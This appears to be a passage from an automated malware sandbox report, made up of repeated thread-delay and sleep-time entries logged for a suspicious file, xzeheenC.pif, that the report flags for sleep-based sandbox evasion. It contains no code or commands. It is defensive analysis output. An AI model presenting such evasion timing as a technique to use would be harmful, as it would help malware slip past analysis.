Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597469	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597140	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597024	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596907	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596782	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596657	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596547	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596438	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596313	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596188	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596063	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595938	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595391	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595266	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595157	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595032	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594907	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594797	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594688	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594563	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594438	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594313	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599325	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598641	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598516	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598407	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598296	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598172	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598061	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597891	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597767	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597655	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597539	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597437	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597094	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596969	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596625	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596266	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596047	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595938	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595715	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595594	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595484	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595375	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595266	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595033	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594719	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594532	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594407	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594282	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594157	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594032	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 593922	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 600000
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599875
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599765
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599656
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599515
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599405
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599282
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599000
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598795
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598686
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598577
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598453
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598343
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598234
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598124
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598015
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597906
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597796
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597687
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597578
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597468
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597359
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597250
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597140
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597031
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596921
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596812
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596703
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596586
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596484
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596374
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596265
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596156
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 596046
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595937
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595827
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595718
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595609
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595500
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595390
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595281
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595171
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 595062
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594953
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594843
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594734
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594625
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594515
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594406
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594296
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 594187

Source: C:\Users\Public\Libraries\xzeheenC.pif	Window / User API: threadDelayed 1250	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Window / User API: threadDelayed 8583	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Window / User API: threadDelayed 2401	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Window / User API: threadDelayed 7433	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Window / User API: threadDelayed 6831
Source: C:\Users\Public\Libraries\xzeheenC.pif	Window / User API: threadDelayed 3013

Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -31359464925306218s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 6756	Thread sleep count: 1250 > 30	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 6756	Thread sleep count: 8583 > 30	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -599094s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -598985s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -598870s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -598750s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -598641s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -598516s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -598406s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -598297s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -598188s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -598063s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -597938s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -597813s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -597703s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -597594s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -597469s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -597359s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -597250s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -597140s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -597024s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -596907s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -596782s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -596657s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -596547s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -596438s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -596313s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -596188s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -596063s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -595938s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -595828s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -595718s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -595609s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -595500s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -595391s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -595266s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -595157s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -595032s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -594907s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -594797s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -594688s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -594563s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -594438s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2824	Thread sleep time: -594313s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -24903104499507879s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 4508	Thread sleep count: 2401 > 30	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 4508	Thread sleep count: 7433 > 30	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -599438s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -599325s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -599203s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -599094s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -598984s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -598875s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -598765s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -598641s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -598516s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -598407s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -598296s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -598172s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -598061s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -597891s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -597767s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -597655s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -597539s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -597437s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -597328s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -597203s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -597094s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -596969s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -596860s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -596735s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -596625s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -596485s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -596375s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -596266s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -596156s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -596047s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -595938s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -595828s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -595715s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -595594s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -595484s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -595375s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -595266s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -595156s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -595033s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -594719s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -594532s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -594407s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -594282s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -594157s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -594032s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 2680	Thread sleep time: -593922s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep count: 35 > 30
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -32281802128991695s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -600000s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 1812	Thread sleep count: 6831 > 30
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -599875s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -599765s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -599656s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 1812	Thread sleep count: 3013 > 30
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -599515s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -599405s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -599282s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -599000s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -598795s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -598686s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -598577s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -598453s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -598343s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -598234s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -598124s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -598015s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -597906s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -597796s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -597687s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -597578s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -597468s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -597359s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -597250s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -597140s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -597031s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -596921s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -596812s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -596703s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -596586s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -596484s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -596374s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -596265s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -596156s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -596046s >= -30000s
Source: C:\Users\Public\Libraries\xzeheenC.pif TID: 576	Thread sleep time: -595937s >= -30000s
